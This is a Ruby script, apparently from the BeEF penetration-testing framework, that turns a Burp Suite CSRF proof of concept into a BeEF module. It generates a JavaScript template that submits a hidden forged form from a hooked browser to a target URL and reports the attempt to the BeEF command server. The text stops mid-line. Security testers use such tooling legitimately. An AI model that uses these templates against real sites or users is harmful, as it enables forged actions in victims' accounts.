#!/usr/bin/env ruby ################################################################################ # CSRF to BeEF module tool # # TODO: # # * support xhr # # * support multipart file upload # # * support CORS requests # # * support character encoding # ################################################################################ $VERBOSE = false $VERSION = '0.0.1' require 'uri' require 'getoptlong' require 'fileutils' # # @note Ruby version check # if RUBY_VERSION < '1.9' puts "Ruby version " + RUBY_VERSION + " is not supported. Please use Ruby 1.9 or later." exit 1 end # # @note usage # def usage puts "CSRF to BeEF module tool" puts "[*] Generate a BeEF module using a CSRF PoC from Burp Suite." puts "[*] Usage: ./csrf_to_beef --file sample.html --name [MODULE NAME]" exit 1 end usage if ARGV.size < 3 # # @note get args # mname = nil fname = nil opts = GetoptLong.new( [ '-h', '--help', GetoptLong::NO_ARGUMENT ], [ '-v', '--verbose', GetoptLong::NO_ARGUMENT ], [ '-n', '--name', GetoptLong::REQUIRED_ARGUMENT ], [ '-f', '--file', GetoptLong::REQUIRED_ARGUMENT ] ) # # @note Add color to String object # class String def colorize(color_code) "\e[#{color_code}m#{self}\e[0m" end { :red => 31, :green => 32, :yellow => 33, :blue => 34, :pink => 35, :cyan => 36, :white => 37 }.each {|color,code| define_method(color) { colorize(code) } } end # # @note handle output # def print_status(msg='') puts '[*] '.blue + msg end def print_error(msg='') puts '[!] '.red + "Error: #{msg}" end def print_good(msg='') puts '[+] '.green + msg end def print_warning(msg='') puts '[!] '.yellow + "Warning: #{msg}" end def print_debug(msg='') puts "#{msg}" if $VERBOSE end # # @note handle args # opts.each do |opt, arg| case opt when '-f','--file' fname=arg when '-n','--name' mname=arg when '-h','--help' usage when '-v','--verbose' $VERBOSE = true end end if fname.nil? print_error "'--file' argument is required. (-h for help)" exit 1 end if mname.nil? print_error "'--name' argument is required. (-h for help)" exit 1 end # # @note Module configuration file 'config.yaml' # class ConfigFile def generate class_name return <<-EOF # # Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: #{class_name}: enable: true category: "Exploits" name: "#{class_name.capitalize}" description: "#{class_name.capitalize}" authors: ["Burp Suite Professional", "CSRF to BeEF tool"] target: unknown: ["ALL"] EOF end end # # @note Module class file 'module.rb' # class ModuleFile def generate class_name, target_url, options options_rb = "" options.to_enum.with_index(1).each do |input, input_index| options_rb += " { 'name' => 'input_#{input_index}', 'ui_label' => '#{input[0]}', 'value' => '#{input[1]}' },\n" end return <<-EOF # # Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class #{class_name.capitalize} < BeEF::Core::Command def self.options return [ { 'name' => 'target_url', 'ui_label' => 'Target URL', 'value' => '#{target_url}' }, #{options_rb} ] end def post_execute save({'result' => @datastore['result']}) end end EOF end end # # @note Module javascript command file 'command.js' # class CommandFile def generate class_name, method, enctype, options options_js = "" options.to_enum.with_index(1).each do |input, input_index| options_js += " {'type':'hidden', 'name':'#{input.first}', 'value':'<%= @input_#{input_index} %>' },\n" end return <<-EOF // // Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var target_url = '<%= @target_url %>'; var timeout = 15; var #{class_name}_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target_url, "#{method}", "#{enctype}", [ #{options_js} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(#{class_name}_iframe_<%= @command_id %>); } setTimeout("cleanup()", timeout*1000); }); EOF end end # # @note main # def main fname, mname # validate class name class_name = mname.gsub(/[^\w]/, '_').downcase # read PoC file print_status "Reading PoC from '#{fname}'" begin f = File.open(fname) html = f.readlines() rescue => e print_error "Could not read PoC file - #{e.message}" exit 1 end # parse PoC file if html.to_s =~ /var xhr = new XMLHttpRequest/ print_error "Could not parse PoC file - XMLHttpRequest is not yet supported." exit 1 elsif html.to_s !~ /